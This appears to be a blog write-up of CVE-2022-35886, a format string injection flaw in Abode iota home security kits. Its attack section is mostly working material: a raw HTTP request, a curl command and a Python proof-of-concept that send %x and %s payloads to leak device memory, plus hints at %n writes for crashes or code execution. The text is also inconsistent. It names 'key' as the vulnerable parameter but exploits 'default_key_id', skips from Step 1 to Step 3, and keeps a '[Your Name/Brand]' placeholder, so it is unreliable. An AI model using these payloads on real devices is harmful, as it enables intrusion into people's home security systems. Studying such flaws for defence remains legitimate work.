Abode Systems’ iota All-In-One Security Kit is a popular smart home security system with a web interface for easy management. However, certain versions—specifically 6.9Z and 6.9X—are affected by multiple format string injection vulnerabilities in the /action/wirelessConnect endpoint. Identified as CVE-2022-35886, these bugs can let an attacker with valid credentials corrupt memory, leak sensitive information, or crash the device through carefully-crafted HTTP requests.

In this article, we’ll break down what’s wrong, show practical code examples, and walk through how an attacker could use this bug. We’ll also link to original resources for further reading.

What Is Format String Injection?

A format string injection occurs when user input is unsafely used as part of a format string in functions like printf or snprintf in C/C++. Instead of treating your input as plain data, the program mistakenly uses it as a formatting guide. That means an attacker’s string like AAAA%x%x%x can control how data is printed or even read/write memory locations.

The Vulnerability in Detail

Vulnerable Devices:  
Abode iota All-In-One Security Kit, versions 6.9Z and 6.9X

Vulnerable Endpoint:  
/action/wirelessConnect HTTP handler

Vulnerable Parameters:

key

The backend code uses these parameters directly with format functions, without sanitizing the input, allowing embedded format specifiers (e.g., %x, %n) to hijack the flow.

What’s at risk:

Memory Corruption: If certain format specifiers are used, memory can be overwritten.

- Information Leak: Output from memory regions can be printed back, potentially exposing secrets like passwords or keys.
- Denial of Service: A malformed request can crash the device, making the home security system unavailable.

Let’s imagine how this might look in the device firmware

// Dangerous: user-controlled data used directly as format string

char response[1024];
const char* user_key_id = get_http_param("default_key_id");

snprintf(response, sizeof(response), user_key_id); // BAD: no fixed format string

send_http_response(response);

If user_key_id contains %x or %s, it’ll be parsed by snprintf as a format specifier. An attacker could supply %x%x%x%x to print out memory contents.

Step 1: Log In

*The bug is in an authenticated handler, so the attacker needs valid credentials.*

For example, send a POST or GET request like

POST /action/wirelessConnect HTTP/1.1
Host: device-ip
Cookie: session=...
Content-Type: application/x-www-form-urlencoded

default_key_id=%x%x%x%x&key=abcdef

The server will process default_key_id and try to snprintf(response, sizeof(response), "%x%x%x%x"). Instead of printing "%x%x%x%x", it will dump values from the stack, leaking memory.

Example with cURL

curl -k -b "session=YOURVALIDSESSIONID" \
    -d 'default_key_id=%x%x%x%x&key=abc' \
    https://DEVICE-IP/action/wirelessConnect

If the server’s response includes what looks like hexadecimal numbers or memory contents, the device is vulnerable.

Step 3: Escalate (Potential)

Further format string payloads like %n could even potentially *write* to memory, causing a crash or arbitrary code execution, though this would require deeper knowledge of the device’s memory layout.

Proof-of-Concept (Python)

import requests

url = 'https://DEVICE-IP/action/wirelessConnect'
cookies = {'session': 'YOURVALIDSESSIONID'}
data = {
    'default_key_id': '%x%x%x%x.%s',
    'key': 'test'
}

resp = requests.post(url, data=data, cookies=cookies, verify=False)
print(resp.text)

Mitigation

- Update firmware to a non-vulnerable version (if/when available).

Limit physical and network access to the device.

Developers:

Always sanitize user input, and never use user data directly as a format string

// SAFE: Specify a format string explicitly
snprintf(response, sizeof(response), "%s", user_key_id);

References and Further Reading

- CVE-2022-35886 Record / NVD
- Original Security Advisory by Tenable
- OWASP Format String Attack
- Tenable Labs Blog

Conclusion

Format string injection bugs like CVE-2022-35886 remind us that even trusted code in critical home security devices can have basic C programming errors. If you own an Abode iota All-In-One Security Kit, check your firmware and take measures to protect your home network.

If you’re building embedded devices, always sanitize all user input—especially anything that ends up in a function like printf—to keep your users and their data safe.


*Exclusive analysis by [Your Name/Brand]. Please link back if sharing or quoting.*

Timeline

Published on: 10/25/2022 17:15:00 UTC
Last modified on: 10/27/2022 15:18:00 UTC